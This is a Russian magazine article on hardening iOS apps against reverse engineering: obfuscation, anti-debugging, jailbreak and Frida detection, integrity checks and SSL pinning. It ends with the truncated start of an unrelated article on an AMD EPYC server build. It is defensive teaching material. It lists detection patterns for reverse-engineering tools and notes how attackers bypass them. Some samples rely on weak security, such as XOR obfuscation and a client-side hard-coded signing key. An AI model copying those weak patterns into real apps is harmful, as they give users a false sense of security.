функционально идентичным, но  стал менее понятным при  анализе. В  мире
iOS это сложнее, чем в Android, потому что в Apple не предоставили готовых
инструментов для обфускации.

Инструменты обфускации для Swift/Objective-C
Для Swift есть несколько инструментов:

  — опенсорсное решение, которое переименовывает классы,

методы, свойства перед компиляцией;

• SwiftShield

 — форк компилятора LLVM со встроенной обфускацией

на уровне IR.

• Obfuscator-LLVM

Честно говоря, с  этими инструментами я работал мало. SwiftShield требует
аккуратной настройки и  может ломать проекты с  большим количеством
зависимостей. Obfuscator-LLVM  — мощная штука, но  требует пересборки
всего проекта custom-компилятором, что усложняет CI/CD.

Для Objective-C можно использовать скриптовую обфускацию  — авто‐
матическое переименование классов и  методов перед  компиляцией
с помощью регулярных выражений. Но это хрупкое решение.

Symbol Stripping
Первое и  самое простое  — это  strip symbols. Xcode по  умолчанию включает
эту опцию для Release-конфигурации. В Build Settings выставляешь

Strip Debug Symbols During Copy: YES
Strip Linked Product: YES
Symbols Hidden by Default: YES

Это удаляет отладочную информацию из бинарника. Имена функций, не вхо‐
дящие в  публичный API, будут заменены адресами памяти. Селекторы
Objective-C все равно останутся видимыми (они нужны для  работы runtime),
но функции на C и часть кода на Swift станут менее читаемыми.

Ручная обфускация критичных участков
Иногда проще не  автоматизировать обфускацию всего проекта, а  вручную
защитить самые важные участки. Например, алгоритм проверки лицензии
или шифрования данных.

Простейший прием  — инлайнинг и  разбиение логики. Вместо одной
понятной функции делаешь цепочку вызовов с неочевидными именами:

      func validateLicense(_ key: String) -> Bool {
         return checkFormat(key) && verifyChecksum(key) && pingServer(key)
}

Обфусцируем:

      func a(_ s: String) -> Bool {
         return b(s) && c(s) && d(s)
}

       private func b(_ s: String) -> Bool {
    // Проверка формата
}

       private func c(_ s: String) -> Bool {
    // Проверка контрольной суммы
}

       private func d(_ s: String) -> Bool {
    // Пинг сервера
}

Да, это  выглядит страшно и  нечитаемо даже для  тебя. Но  в этом и  смысл.
Только критичные участки, не весь проект.

Обфускация строк
Строковые константы в бинарнике — это подарок для атакующего. API-ключи,
URL эндпоинтов, сообщения об  ошибках  — все лежит в  plaintext в  секции

.__cstring
Простейшее решение — шифрование строк. Создаешь функцию, которая

расшифровывает строку в runtime:

        func decrypt(_ encrypted: [UInt8], key: UInt8) -> String {
            let decrypted = encrypted.map { $0 ^ key }
          return String(bytes: decrypted, encoding: .utf8) ?? ""
}

         let apiKey = decrypt([0x48, 0x65, 0x6c, 0x6c, 0x6f], key: 0x20)

Ключ шифрования можно хранить в коде (тоже обфусцированно) или генери‐
ровать динамически. Да, это  XOR-шифрование, которое ломается за  секун‐
ды, но  лучше, чем ничего. Для  более серьезной защиты можешь исполь‐
зовать AES с ключом, собираемым из разных частей кода.

Я пробовал автоматизировать это  через скрипт Build Phase. Скрипт
находит все строковые литералы в проекте, шифрует их, заменяет вызовами
функции расшифровки. Работает, но требует осторожности — легко сломать
интерфейсы и локализацию.

АНТИОТЛАДКА (ANTI-DEBUGGING)

Отладчик  — главный инструмент при  динамическом анализе. Атакующий
запускает приложение под  LLDB, ставит брейк‑пойнты, изучает состояние
памяти, пошагово выполняет код. Наша задача  — детектировать отладчик
и либо завершить приложение, либо изменить его поведение.

Проверка через sysctl
Системный вызов  позволяет запросить информацию о  процессе.
Флаг  указывает, что процесс отслеживается отладчиком:

sysctl
P_TRACED

 import Foundation

    func isDebuggerAttached() -> Bool {
       var info = kinfo_proc()
           var mib: [Int32] = [CTL_KERN, KERN_PROC, KERN_PROC_PID, getpid()]
       var size = MemoryLayout<kinfo_proc>.stride

            let result = sysctl(&mib, u_int(mib.count), &info, &size, nil, 0)

        if result != 0 {
         return false

    }

         return (info.kp_proc.p_flag & P_TRACED) != 0
}

  if isDebuggerAttached() {
    fatalError("Debugger detected")
}

Эту проверку желательно делать не  один раз при  старте, а  периодически
в рантайме. Атакующий может присоединиться к процессу уже после запуска.

Защита через ptrace
Системный вызов  позволяет процессу запретить присоединение

отладчика. Вызываешь , и  всё  — LLDB

больше не сможет присоединиться к процессу.

ptrace
ptrace(PT_DENY_ATTACH, 0, 0, 0)

#import <sys/types.h>
#import <sys/sysctl.h>
#import <dlfcn.h>

        
 

typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr,
int _data);

  void disablePtrace() {
          void *handle = dlopen(NULL, RTLD_GLOBAL | RTLD_NOW);
        ptrace_ptr_t ptrace_ptr = (ptrace_ptr_t)dlsym(handle, "ptrace");
        ptrace_ptr(31, 0, 0, 0); // PT_DENY_ATTACH = 31
    dlclose(handle);
}

Почему через , а  не прямой вызов? Потому что  офи‐

циально не  документирована. Если напрямую линковаться к  , могут
возникнуть проблемы с  App Store Review. Динамическая загрузка снижает
видимость.

dlsym PT_DENY_ATTACH
ptrace

Минус этого метода — он тривиально обходится. Атакующий может запат‐
чить бинарник, поменяв инструкции вызова  на  NOP (no operation).

Или хукнуть сам  через Frida и вернуть успешное выполнение, ничего

не делая.

ptrace
ptrace

Проверка через sysctl с усложнением
Можно усложнить детект, добавив проверки на  наличие известных отладоч‐
ных переменных окружения или портов:

    func isReverseEngineeringToolPresent() -> Bool {
    // Проверка переменных окружения
        if getenv("DYLD_INSERT_LIBRARIES") != nil {

         return true
    }

    // Проверка на Frida
       let suspiciousLibraries = [
        "FridaGadget",
        "frida",
        "cynject"
    ]

        for i in 0..<_dyld_image_count() {
             if let imageName = _dyld_get_image_name(i) {

                let name = String(cString: imageName)
                for lib in suspiciousLibraries {

                  if name.contains(lib) {
                     return true

                }
            }
        }
    }
     return false
}

Проверка целостности времени выполнения
Еще один прием  — измерение времени выполнения кода. Отладчик
и  брейк‑пойнты замедляют выполнение. Можно засечь время выполнения
критичного участка и сравнить с ожидаемым:

 import Foundation

  func timingCheck() {
       let start = CFAbsoluteTimeGetCurrent()

    // Какой-то код
       var sum = 0
        for i in 0..<1000 {

          sum += i
    }

         let elapsed = CFAbsoluteTimeGetCurrent() — start

         if elapsed > 0.01 { // Порог в 10 мс
        // Возможно, установлен брейк
        exit(0)
    }
}

Это очень хрупкая проверка. Зависит от производительности устройства, заг‐
рузки системы. Но как дополнительный слой защиты сойдет.

ДЕТЕКТ ДЖЕЙЛБРЕЙКА

Джейлбрейкнутые устройства дают атакующему огромные возможности.
Можно запускать инструменты вроде Cycript, Frida или  Clutch прямо
на  устройстве. Поэтому многие приложения, особенно финансовые, отка‐
зываются работать на таких девайсах.

Проверка файлов Cydia
Джейлбрейк оставляет характерные следы в файловой системе:

    func isJailbroken() -> Bool {
       let paths = [
        "/Applications/Cydia.app",
        "/Library/MobileSubstrate/MobileSubstrate.dylib",
        "/bin/bash",
        "/usr/sbin/sshd",
        "/etc/apt",
        "/private/var/lib/apt/",
        "/usr/bin/ssh"
    ]

        for path in paths {
           if FileManager.default.fileExists(atPath: path) {

             return true
        }
    }
     return false
}

Проблема: опытные пользователи джейла прячут эти файлы или  патчат про‐
верки. Но для большинства случаев работает.

Проверка возможности записи в системные директории
На невзломанном устройстве приложение не  может писать за  пределами
своей песочницы:

    func canWriteOutsideSandbox() -> Bool {
       let testPath = "/private/jailbreak_test.txt"
     do {

     
 

        try "test".write(toFile: testPath, atomically: true, encoding
: .utf8)

          try FileManager.default.removeItem(atPath: testPath)
         return true

      } catch {
         return false

    }
}

Проверка через fork()
На обычном iOS вызов  завершается с  ошибкой. С  джейлом же

успешно выполнится такой код:

fork()

    func canFork() -> Bool {
       let pid = fork()
        if pid >= 0 {

            if pid > 0 {
            // Родительский процесс

             kill(pid, SIGTERM)
        }

         return true
    }
     return false
}

WARNING

Будь осторожен с  этим методом. Apple может
отклонить приложение, если обнаружит вызовы

 в коде, даже если они никогда не выпол‐
няются.
fork()

Проверка через вызов system()
    func canExecuteSystemCommands() -> Bool {

       let result = system("ls")
       return result == 0
}

В обычной iOS  всегда возвращает ошибку. С  джейлом такой код

может выполниться.

system()

Комбинированный подход
Я обычно использую комбинацию нескольких проверок. Ни  одна из  них
не надежна на 100%, но вместе они повышают вероятность детектирования:

    func isDeviceCompromised() -> Bool {
      return isJailbroken() ||

            canWriteOutsideSandbox() ||
            isReverseEngineeringToolPresent() ||

           canFork()
}

  if isDeviceCompromised() {
    // Показать предупреждение или отключить критичные функции
    showSecurityWarning()
}

Важный момент: не стоит просто крашить приложение. Лучше показать пре‐
дупреждение и  отключить критичные функции (например, платежи). Так ты
не  потеряешь пользователей с  джейлбрейком полностью, но  защитишь
самое важное.

КОД-ПОДПИСЬ И RUNTIME INTEGRITY CHECKS

Каждое iOS-приложение подписано цифровой подписью Apple. Операци‐
онная система проверяет эту подпись перед  запуском. Если бинарник был
изменен, подпись становится невалидной и iOS отказывается запускать при‐
ложение.

Но есть способы обойти эту защиту на  взломанных устройствах. Можно
пересобрать IPA, подписать его самоподписным сертификатом и установить
через Cydia Impactor или  AltStore. Или  использовать инструменты типа
AppSync, которые отключают проверку подписи.

Проверка code signature изнутри
Приложение может само проверять свою подпись:

 import Foundation

    func verifyCodeSignature() -> Bool {
       let bundle = Bundle.main
            

 
guard let executablePath = bundle.executablePath else { return

false }

      var staticCode: SecStaticCode?
       let status = SecStaticCodeCreateWithPath(

           URL(fileURLWithPath: executablePath) as CFURL,
        [],
        &staticCode
    )

             guard status == errSecSuccess, let code = staticCode else {
         return false

    }

       let checkStatus = SecStaticCodeCheckValidity(
        code,
        [],
        nil
    )
       return checkStatus == errSecSuccess
}

Если  возвращает ошибку  — бинарник был

модифицирован.

SecStaticCodeCheckValidity

Проверка хеша бинарника
Можно пойти дальше и  вычислить хеш исполняемого файла, сравнив его
с заранее известным значением:

 import CommonCrypto

    func calculateExecutableHash() -> String? {
           

  
guard let executablePath = Bundle.main.executablePath else {

return nil }
         

     
guard let data = FileManager.default.contents(atPath:

executablePath) else { return nil }

          var hash = [UInt8](repeating: 0, count: Int(
CC_SHA256_DIGEST_LENGTH))
     data.withUnsafeBytes {

            _ = CC_SHA256($0.baseAddress, CC_LONG(data.count), &hash)
    }

          return hash.map { String(format: "%02hhx", $0) }.joined()
}

    let expectedHash = "abc123..." // Хеш оригинального бинарника
    if calculateExecutableHash() != expectedHash {

    // Бинарник изменен
}

Проблема: хеш меняется при каждой пересборке. Нужно либо хардкодить его
для конкретного релиза, либо хранить на сервере и запрашивать при старте.

Проверка целостности ресурсов
Атакующий может не  трогать бинарник, но  заменить ресурсы  — картинки,
конфигурационные файлы. Хеширование критичных ресурсов тоже имеет
смысл:

       func verifyResource(named: String, expectedHash: String) -> Bool {
           
  

guard let path = Bundle.main.path(forResource: named, ofType: nil
) else {

         return false
    }
           guard let data = FileManager.default.contents(atPath: path) else
{

         return false
    }

          var hash = [UInt8](repeating: 0, count: Int(
CC_SHA256_DIGEST_LENGTH))
     data.withUnsafeBytes {

            _ = CC_SHA256($0.baseAddress, CC_LONG(data.count), &hash)
    }

            let calculatedHash = hash.map { String(format: "%02hhx", $0) }.
joined()
       return calculatedHash == expectedHash
}

ЗАЩИТА ОТ FRIDA И RUNTIME-ХУКОВ

Frida — мощнейший инструмент для динамического анализа и модификации
приложений. Он позволяет внедрять код на  JavaScript в  процесс и  перех‐
ватывать вызовы функций, изменять аргументы, возвращаемые значения.
С точки зрения защиты это главный враг.

Детект Frida по открытым портам
Frida-server слушает определенный порт (обычно 27042). Можно попытаться
подключиться к нему:

 import Foundation

    func isFridaRunning() -> Bool {
        let port: UInt16 = 27042

       var hints = addrinfo()
      hints.ai_family = AF_INET
      hints.ai_socktype = SOCK_STREAM

      var result: UnsafeMutablePointer<addrinfo>?
     defer {

            if result != nil {
            freeaddrinfo(result)
        }
    }

          let status = getaddrinfo("127.0.0.1", String(port), &hints, &
result)
        if status != 0 {

         return false
    }

             guard let addr = result else { return false }
        

 
let sock = socket(addr.pointee.ai_family, addr.pointee.

ai_socktype, addr.pointee.ai_protocol)
        if sock < 0 {

         return false
    }
       defer { close(sock) }

         let connectResult = connect(sock, addr.pointee.ai_addr, addr.
pointee.ai_addrlen)
       return connectResult == 0
}

Продолжение статьи →
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Если  успешен — Frida активна.connect()

Детект по загруженным библиотекам
Frida внедряет свои библиотеки в процесс. Можно перебрать все загружен‐
ные библиотеки и проверить их имена:

    func isFridaLibraryLoaded() -> Bool {
         let suspiciousNames = ["frida", "gadget", "libfrida"]

        for i in 0..<_dyld_image_count() {
                guard let imageName = _dyld_get_image_name(i) else { continue

}
            let name = String(cString: imageName).lowercased()

            for suspicious in suspiciousNames {
              if name.contains(suspicious) {

                 return true
            }
        }
    }
     return false
}

Защита критичных функций через inline assembly
Еще один экзотический метод — писать критичные участки кода на ассембле‐
ре. Это усложняет хуки, потому что Frida работает на уровне символов и фун‐
кций. Ассемблерный код не имеет стандартных пролога и эпилога функции.

    func criticalCheck() -> Bool {
        var result: UInt64 = 0

    // Простой пример: сложение двух чисел через inline asm
    asm(
        "mov x0, #42\n"
        "mov x1, #58\n"
        "add %0, x0, x1\n"

          : "=r" (result)
        :

          : "x0", "x1"
    )
       return result == 100
}

Честно говоря, я редко иду на  такие крайности. Писать и  поддерживать
ассемблер в  iOS-проекте  — боль. Но  для максимально критичных проверок
можно.

Затруднение хуков через непрямые вызовы
Вместо прямого вызова функции используй указатели:

     typealias ValidationFunction = () -> Bool

    func getValidator() -> ValidationFunction {
        return { return true }
}

   let validator = getValidator()
  if !validator() {

    exit(0)
}

Frida хукает по имени функции. Если вызов идет через указатель, определить
цель сложнее.

ШИФРОВАНИЕ ДАННЫХ И КЛЮЧЕЙ

Хранение чувствительных данных в plaintext — классическая ошибка. API-клю‐
чи, токены, пользовательские данные должны быть зашифрованы.

Keychain для секретов
Keychain  — стандартное хранилище для  паролей и  ключей в  iOS. Данные
шифруются на уровне ОС и защищены аппаратно.

 import Security

       func saveToKeychain(key: String, value: String) -> Bool {
              guard let data = value.data(using: .utf8) else { return false }

         let query: [String: Any] = [
           kSecClass as String: kSecClassGenericPassword,

           kSecAttrAccount as String: key,
           kSecValueData as String: data,

           kSecAttrAccessible as String:
kSecAttrAccessibleWhenUnlockedThisDeviceOnly
    ]

       SecItemDelete(query as CFDictionary) // Удаляем старое значение
          let status = SecItemAdd(query as CFDictionary, nil)

       return status == errSecSuccess
}

     func loadFromKeychain(key: String) -> String? {
         let query: [String: Any] = [

           kSecClass as String: kSecClassGenericPassword,
           kSecAttrAccount as String: key,

           kSecReturnData as String: kCFBooleanTrue!,
           kSecMatchLimit as String: kSecMatchLimitOne

    ]

      var dataTypeRef: AnyObject?
          let status = SecItemCopyMatching(query as CFDictionary, &
dataTypeRef)

              if status == errSecSuccess, let data = dataTypeRef as? Data {
            return String(data: data, encoding: .utf8)

    }
     return nil
}

Используй вот этот атрибут:

kSecAttrAccessibleWhenUnlockedThisDeviceOnly

Он означает, что данные доступны, только когда устройство разблокировано,
и не синхронизируются через iCloud Keychain.

Шифрование локальных файлов
Если нужно хранить большие объемы данных, используй Data Protection API:

       func saveEncryptedFile(data: Data, to path: String) throws {
         try data.write(to: URL(fileURLWithPath: path), options: .
completeFileProtection)
}

Опция  включает максимальный уровень
защиты — файл недоступен, пока устройство заблокировано.

.completeFileProtection

Обфускация ключей шифрования
Даже если используешь шифрование, ключ нужно где‑то хранить. Хардкод
ключа в коде — плохая идея. Его найдут за минуту.

Можно разбить ключ на части и генерировать динамически:

    func generateEncryptionKey() -> String {
       let part1 = "Xy7z"
         let part2 = String(describing: type(of: self)).prefix(2)
       let part3 = "qW3r"

         return part1 + part2 + part3
}

Или использовать device-specific-данные (например, identifier for vendor)
как  часть ключа, тогда расшифровка будет работать только на  конкретном
устройстве.

SSL PINNING

Перехват сетевого трафика — стандартный прием при анализе приложений.
Атакующий устанавливает прокси (Charles, Burp Suite), устанавливает собс‐
твенный сертификат в систему и читает весь HTTPS-трафик.

SSL pinning защищает от этого. Приложение доверяет только конкретному
сертификату или  публичному ключу сервера, игнорируя системное хранили‐
ще доверенных сертификатов.

Certificate pinning
 import Foundation

    class PinnedSessionDelegate: NSObject, URLSessionDelegate {

      let pinnedCertificateData: Data

      init(certificateData: Data) {
          self.pinnedCertificateData = certificateData

    }

       func urlSession(_ session: URLSession,
                      didReceive challenge: URLAuthenticationChallenge,

  
    

                    completionHandler: @escaping (URLSession.
AuthChallengeDisposition, URLCredential?) -> Void) {

            guard let serverTrust = challenge.protectionSpace.serverTrust
,

   
   

              let certificate = SecTrustGetCertificateAtIndex(
serverTrust, 0) else {

             completionHandler(.cancelAuthenticationChallenge, nil)
            return
        }

   
  

        let serverCertificateData = SecCertificateCopyData(
certificate) as Data

            if serverCertificateData == pinnedCertificateData {
                let credential = URLCredential(trust: serverTrust)

             completionHandler(.useCredential, credential)
          } else {

             completionHandler(.cancelAuthenticationChallenge, nil)
        }
    }
}

// Использование
      

 
guard let certPath = Bundle.main.path(forResource: "server_cert",
ofType: "cer"),

      
  

      let certData = try? Data(contentsOf: URL(fileURLWithPath:
certPath)) else {
    fatalError("Certificate not found")
}

    let delegate = PinnedSessionDelegate(certificateData: certData)
       

 
let session = URLSession(configuration: .default, delegate: delegate,
delegateQueue: nil)

Сертификат сервера нужно положить в  Bundle. При  каждом HTTPS-запросе
сравниваешь полученный сертификат с сохраненным.

Public key pinning
Более гибкий подход — пинить не весь сертификат, а только публичный ключ.
Тогда при обновлении сертификата (но с тем же ключом) пиннинг не сломает‐
ся.

      func extractPublicKey(from certificate: SecCertificate) -> SecKey? {
      var trust: SecTrust?
       let policy = SecPolicyCreateBasicX509()

      SecTrustCreateWithCertificates(certificate, policy, &trust)

             guard let trust = trust else { return nil }

     return SecTrustCopyPublicKey(trust)
}

   func urlSession(_ session: URLSession,
                  didReceive challenge: URLAuthenticationChallenge,

  
    

                completionHandler: @escaping (URLSession.
AuthChallengeDisposition, URLCredential?) -> Void) {

        guard let serverTrust = challenge.protectionSpace.serverTrust,
   

 
          let certificate = SecTrustGetCertificateAtIndex(serverTrust
, 0),

              let serverPublicKey = extractPublicKey(from: certificate),
               let pinnedPublicKey = loadPinnedPublicKey() else {

         completionHandler(.cancelAuthenticationChallenge, nil)
        return
    }

        if serverPublicKey == pinnedPublicKey {
            let credential = URLCredential(trust: serverTrust)

         completionHandler(.useCredential, credential)
      } else {

         completionHandler(.cancelAuthenticationChallenge, nil)
    }
}

Использование TrustKit
Для упрощения SSL pinning можно использовать библиотеку TrustKit:

 import TrustKit

   let trustKitConfig = [
     kTSKSwizzleNetworkDelegates: false,
     kTSKPinnedDomains: [

         "api.example.com": [
             kTSKPublicKeyHashes: [

                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
                "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB="
            ],

             kTSKEnforcePinning: true
        ]
    ]
   ] as [String: Any]

 TrustKit.initSharedInstance(withConfiguration: trustKitConfig)

TrustKit поддерживает public key pinning, backup pins (на случай ротации клю‐
чей), reporting о нарушениях пиннинга.

Важно: если используешь SSL pinning, обязательно предусмотри
механизм обновления пиннингов без  переиздания приложения (например,
через конфиг с  сервера). Иначе при  смене сертификата все старые версии
приложения перестанут работать.

SERVER-SIDE-ВАЛИДАЦИЯ

Клиентская защита важна, но недостаточна. Любую защиту на клиенте можно
обойти. Поэтому критичные операции всегда валидируй на сервере.

Проверка подписи запросов
Каждый запрос к API подписывай секретным ключом:

 import CryptoKit

       func signRequest(body: Data, secretKey: String) -> String {
        let key = SymmetricKey(data: Data(secretKey.utf8))
          let signature = HMAC<SHA256>.authenticationCode(for: body, using:
key)
     return Data(signature).base64EncodedString()
}

    var request = URLRequest(url: url)
  request.httpBody = requestBody

    
 

request.setValue(signRequest(body: requestBody, secretKey: "secret"),
forHTTPHeaderField: "X-Signature")

На сервере проверяешь подпись. Если не совпадает — запрос отклоняешь.

Attestation
iOS поддерживает App Attestation  — механизм подтверждения подлинности
приложения на  сервере. Приложение генерирует attestation token, который
включает информацию о  коде, устройстве, и  отправляет токен на  сервер.
Сервер проверяет его через Apple API.

Это сложная тема, заслуживающая отдельной статьи. Если интересно  —
глянь документацию DeviceCheck и App Attest.

Rate limiting и аномальная активность
Отслеживай необычное поведение на серверной стороне. Если пользователь
делает тысячу запросов в минуту, это бот или скрипт. Если внезапно меняется

 или   — возможно, это взломанный клиент.user agent device id
Логируй подозрительную активность и  блокируй аккаунты при  необ‐

ходимости.

МОНИТОРИНГ И РЕАКЦИЯ НА ИНЦИДЕНТЫ

Даже с  идеальной защитой взломы случаются. Важно вовремя обнаружить
проблему и отреагировать.

Аналитика безопасности
Отправляй события безопасности в аналитику:

      func logSecurityEvent(event: String, details: [String: Any]) {
       Analytics.log(event: "security_\(event)", parameters: details)
}

  if isJailbroken() {
       

 
logSecurityEvent(event: "jailbreak_detected", details: [

"device_id": getDeviceID()])
}

  if isDebuggerAttached() {
       logSecurityEvent(event: "debugger_detected", details: [:])
}

На основе этих данных можно понять масштаб проблемы и  оперативно
реагировать.

Remote kill switch
Предусмотри механизм удаленного отключения критичных возможностей
или всего приложения. При старте приложение запрашивает с сервера кон‐
фиг:

{
  "features_enabled": {
    "payments": false,
    "social": true
  },
  "force_update": false,
  "message": "Мы обнаружили проблемы безопасности. Пожалуйста, 
обновите приложение."
}

Если обнаружена критичная уязвимость, можешь оперативно отключить опас‐
ные возможности без переиздания.

Crash reporting
Используй Crashlytics или аналоги. Некоторые взломанные версии приложе‐
ний крашатся из‑за неправильной модификации. Аномально высокий crash
rate может сигналить о проблеме.

ОБФУСКАЦИЯ ЛОГИКИ ЧЕРЕЗ НАТИВНЫЙ КОД

Swift и  Objective-C относительно легко деобфусцируются. Для  максимально
критичных алгоритмов можно использовать C/C++.

Создание статической библиотеки на C
Создаешь отдельную статическую библиотеку (или просто файл .c) с критич‐
ной логикой:

// security.c
 #include "security.h"
 #include <string.h>

    int validate_license(const char *key) {
    // Сложная логика проверки лицензии
        if (strlen(key) != 16) {

         return 0;
    }

    // Проверка контрольной суммы и так далее
     return 1;
}

Bridging header для Swift:

// security.h
#ifndef security_h
#define security_h

   int validate_license(const char *key);

#endif

Использование из Swift:

   let key = "1234-5678-9012-3456"
   let isValid = validate_license(key)

C-код сложнее для  реверс‑инжиниринга. Нет метаданных, нет RTTI. Но  все
равно не панацея — можно изучить ассемблер и понять логику.

КОММЕРЧЕСКИЕ РЕШЕНИЯ

Если бюджет позволяет, можно использовать коммерческие продукты
для защиты:

 — обфускация, шифрование ресурсов, антиотладка;• DexGuard/iXGuard

 — runtime application self-protection (RASP), шифрование кода;• Arxan

 — комплексная защита для финансовых приложений.• Promon SHIELD

Я работал с DexGuard на Android-проекте. DexGuard реально усложняет жизнь
атакующим, но  требует аккуратной настройки и  может конфликтовать
с некоторыми библиотеками. С iOS-аналогами опыта меньше, но принцип тот
же.

Коммерческие решения дорогие (десятки тысяч долларов в  год), но  для
enterprise и финтех это оправданная инвестиция.

ЧТО НЕ РАБОТАЕТ

За годы работы я видел немало бесполезных «защит», которые только соз‐
дают иллюзию безопасности.

Безопасность через неясность (security through obscurity)
«Мы используем собственный алгоритм шифрования, который никто не зна‐
ет» — плохая идея. Собственные криптографические алгоритмы почти всегда
содержат ошибки. Используй стандартные проверенные решения: AES, RSA,
HMAC.

Переменные с флагом «это взломанная версия»
   var isHacked = false

  if detectJailbreak() {
      isHacked = true
}

  if isHacked {
    showError()
}

Атакующий найдет эту переменную за  минуту и  просто пропатчит проверку.
Логика защиты должна быть распределена по  коду, а  не завязана на  одну
переменную.

Чрезмерное усложнение
Некоторые разработчики обфусцируют весь проект до  состояния нечита‐
емости. Это затрудняет не только взлом, но и поддержку, отладку, онбординг
новых разработчиков. Баланс важен.

ТЕСТИРОВАНИЕ ЗАЩИТЫ

После внедрения защиты ее нужно протестировать. Иначе непонятно,
работает ли она вообще.

Самостоятельное тестирование
Попробуй сам взломать свое приложение:
1. Установи Hopper или IDA Pro, загрузи бинарник.
2. Найди критичные функции (лицензионные проверки, платежи).
3. Попробуй их обойти через патчинг или Frida-хуки.

Если получилось легко — защита недостаточна.

Привлечение специалистов
Лучше нанять пентестеров или  ресерчеров. Они найдут уязвимости,
о  которых ты не  подумал. Есть специализированные компании (например,
NowSecure, Zimperium), которые проводят мобильный пентест.

Bug bounty
Для крупных проектов можно запустить программу bug bounty. Предложи воз‐
награждение за  найденные уязвимости. Сообщество вайтхетов быстро най‐
дет слабые места.

ЮРИДИЧЕСКИЕ АСПЕКТЫ

В некоторых странах обход защиты приложений или  реверс‑инжиниринг
нарушают законы об  интеллектуальной собственности. Четкая лицензия
(EULA) может помочь в судебных разбирательствах.

Но рассчитывать только на юридическую защиту наивно. Во‑первых, мно‐
гие атакующие анонимны или  находятся в  юрисдикциях, где эти законы
не работают. Во‑вторых, судебные процессы долгие и дорогие.

Юридическая защита — это дополнение к технической, а не замена.

НЕСКОЛЬКО СОВЕТОВ ИЗ ЛИЧНОГО ОПЫТА

 Определи, что действительно критично. Алго‐

ритм проверки лицензии, платежные токены, криптографические ключи —
да. Логика отображения UI — вряд ли.

• Не пытайся защитить всё.

 Методы взлома эволюционируют. То, что

работало год назад, может быть бесполезным сейчас. Следи за  новыми
инструментами атаки и адаптируй защиту.

• Обновляй защиту регулярно.

 Используй стандартные криптографические

библиотеки, проверенные техники. Собственные решения часто содержат
ошибки.

• Не изобретай велосипед.

 Эмулятор не  дает полной картины.
Особенно для джейлбрейк‑детекта и антиотладки.

• Тестируй на реальных устройствах.

 Если в  команду придет новый разработчик, он

должен понимать, зачем этот странный код с обфусцированными функци‐
ями. Иначе при рефакторинге защита может быть случайно удалена.

• Документируй защиту.

 Взломщики часто публикуют свои

методы и  инструменты на  форумах типа Reddit, GitHub, в  специализиро‐
ванных телеграм‑каналах. Подпишись на них — будешь в курсе актуальных
угроз.

• Мониторь форумы и  сообщества.

ЗАКЛЮЧЕНИЕ

Защита iOS-приложения от  реверса  — это  бесконечная гонка вооружений.
Каждый новый метод защиты рано или поздно обойдут. Но это не значит, что
защищаться бессмысленно.

Цель — не сделать взлом невозможным (это невозможно), а сделать его
экономически невыгодным. Если для  взлома нужны десятки часов работы,
специализированные знания и  инструменты  — большинство атакующих
переключится на более легкие цели.

Используй эшелонированную защиту: обфускацию, антиотладку, детект
джейлбрейка, SSL pinning, server-side-валидацию. Не  полагайся на  один
метод. И помни: безопасность — это процесс, а не одноразовое действие.

Я все еще  нахожу баланс между защитой и  поддерживаемостью кода.
Каждый проект уникален, и  универсального рецепта нет. Но  базовые прин‐
ципы, которые я описал, работают.

Надеюсь, эта статья поможет тебе защитить свое приложение и спокойно
спать по  ночам, не  переживая, что завтра оно окажется на  каком‑нибудь
форуме с взломанными покупками. © X



Candidum
duospirit@gmail.com

GEEK

Собрать суперкомпьютер из  подержанных
комплектующих — задача не для слабонер‐
вных. Мы возьмем двухпроцессорную плат‐
форму на  AMD EPYC, напихаем терабайт
серверной памяти, которая официально
не  поддерживается, и  будем бороться
с  багами в  процессорах, тротлингом из‑за
перегрева VRM и  капризными планками
LRDIMM. В  итоге получится расчетная
машина на  64  физических ядра за  разум‐
ные деньги  — но  путь к  успеху будет тер‐
нист.

В статье « » мы уже
обсуждали компьютер для  тяжелых ресурсоемких задач. Тогда мы исполь‐
зовали Xeon 2600v4, и это было недурно в 2022 году, когда я задумал эту кон‐
фигурацию, а  сейчас и  вовсе бюджетненько. Но  расчеты съедают столько
мощностей, сколько ты для них предоставишь. А самое дорогое в этой жиз‐
ни — наше время, поэтому ускорение работы компьютера в 1,5–2 раза опре‐
деленно стоит затрат и усилий.

Мегасчеты. Собираем мощный компьютер для вычислений

Планировалась эта машина как  ультимативное решение, но  все пошло
не по плану. В конце 2023 года я увидел, что подешевело второе поколение
процессоров семейства AMD EPYC. «Надо брать», — решил тогда я.

AMD EPYC — ЭПИЧЕСКИЙ ПРОЦЕССОР

Многие даже не  слышали об  этих монстрах. Представленные в  2017  году,
смотрелись они тогда действительно эпически. Куча ядер, много кеша
и  огромные размеры самого процессора в  форм‑факторе сокет SP3.
На  самом деле это  не совсем процессор, это  скорее SOC, поскольку кон‐
троллеры памяти, дисков и всего прочего также находятся на кристалле.

Основной прикол этой серии  — в  применении чиплетной технологии:
по факту в одном корпусе установлены несколько физических чипов, соеди‐
ненных общей шиной. Можно сказать, что это  четыре процессора в  одном
корпусе.

Первое поколение имело до  32  ядер и  поддерживало память ECC REG
DDR4  с  частотой до  2666  МГц. Второе поколение  — уже до  64  ядер и  ECC
REG DDR4 до 3200 МГц. На момент выхода эти процессоры стоили космичес‐
ких денег, а сейчас потихоньку дешевеют, что делает их идеальным решени‐
ем для расчетного сервера.

На фотографии ниже  — топовая версия первого поколения AMD EPYC
7601 на 32 ядра, с частотой 2,6 ГГц по всем ядрам и 64 Мбайт кеша. Рядыш‐
ком  — средненький камень второго поколения: это  AMD EPYC
7532 на 32 ядра с частотой 3,3 ГГц по всем ядрам и 256 Мбайт кеша. В тестах
первый уделывает Xeon 2696v4  с  неплохим отрывом при  схожей цене,
про второй и говорить нечего.

AMD EPYC, вид сверху

AMD EPYC, вид снизу

Машина с ходу планировалась двухпроцессорной. В качестве процессоров я
выбрал EPYC 7532. Да, у них не так много ядер, как у старших моделей, зато
кеша целых  256  Мбайт и  достаточно высокая частота турбобуста: 3300  МГц
на  все ядра. Ну и  цена довольно демократичная. Кроме того, известно, что
параллелизация в  софте реализована неидеально и  в какой‑то момент
добавление ядер не  приносит ожидаемого эффекта. С  этой точки зре‐
ния 64 физических ядра в двух процессорах смотрится достаточно разумно.

МАТЕРИНСКАЯ ПЛАТА

Ну, тут вариантов немного. В  отличие от  «Зионов», для  «Эпиков» еще  не
наладили производство ширпотреба, поэтому материнская плата  — сер‐
верная. Да и вообще с нашими задачами серверное железо справляется луч‐
ше бытового. Берем Supermicro H11DSi-NT, она имеет формат EATX и может
